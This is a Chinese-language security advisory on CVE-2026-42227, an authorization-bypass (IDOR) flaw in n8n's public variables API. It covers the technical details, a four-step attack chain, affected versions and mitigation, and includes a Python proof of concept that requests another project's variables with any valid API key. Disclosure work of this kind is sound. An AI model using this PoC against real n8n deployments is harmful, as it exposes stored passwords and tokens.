IPBUF安全漏洞报告
English
CVE-2026-42227 CVSS 6.5 中危

CVE-2026-42227 n8n越权读取漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42227
漏洞类型
越权访问
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n

相关标签

越权访问信息泄露n8nIDORAPI安全

漏洞概述

n8n开源工作流自动化平台在特定版本前存在越权访问漏洞。拥有有效API密钥(且权限为variable:list)的认证用户,可以通过向公共API变量端点提供任意projectId参数,读取其非成员项目的变量。该漏洞是因为处理程序直接查询变量库而未检查项目成员资格,绕过了授权层。此问题仅影响启用了变量功能的多项目授权企业或团队部署。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)类型的越权访问漏洞。在受影响的n8n版本中,处理变量读取请求的公共API端点存在逻辑缺陷。虽然系统验证了API密钥是否具有`variable:list`的基本作用域权限,但在执行查询逻辑时,后端直接调用了底层的变量存储库,而未执行请求用户是否属于目标`projectId`对应项目的成员资格检查,从而绕过了内部企业控制器中使用的授权感知服务层。攻击者只要持有任何合法的API密钥,即可通过修改请求参数中的projectId,遍历并获取其他项目中的敏感变量数据。由于企业环境中常在变量中存储数据库密码、API Token等敏感凭证,该漏洞可能导致严重的信息泄露后果。

攻击链分析

STEP 1
1
攻击者获取一个具有`variable:list`权限的有效n8n API密钥。
STEP 2
2
攻击者识别或猜测目标环境中的其他项目ID(projectId)。
STEP 3
3
攻击者向`/api/v1/variables`端点发送GET请求,在请求参数中注入目标projectId。
STEP 4
4
服务器端未校验项目成员关系,直接返回目标项目的变量数据,攻击者成功获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "https://<n8n-instance>/api/v1/variables" api_key = "<VALID_API_KEY_WITH_VARIABLE_LIST_SCOPE>" target_project_id = "<TARGET_PROJECT_ID>" # Headers with Authorization headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Query parameters specifying the arbitrary project ID params = { "projectId": target_project_id } try: # Send GET request to the variables endpoint response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print("[+] Exploit successful! Leaked variables:") print(response.json()) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

n8n < 1.123.32
n8n >= 2.0.0, < 2.17.4
n8n >= 2.18.0, < 2.18.1

防御指南

临时缓解措施
如果无法立即升级,建议立即审查并轮换所有项目中存储的敏感变量(如密码、Token等)。同时,应严格限制API密钥的发放,仅授予必要的最小权限范围,并监控是否存在异常的API调用请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表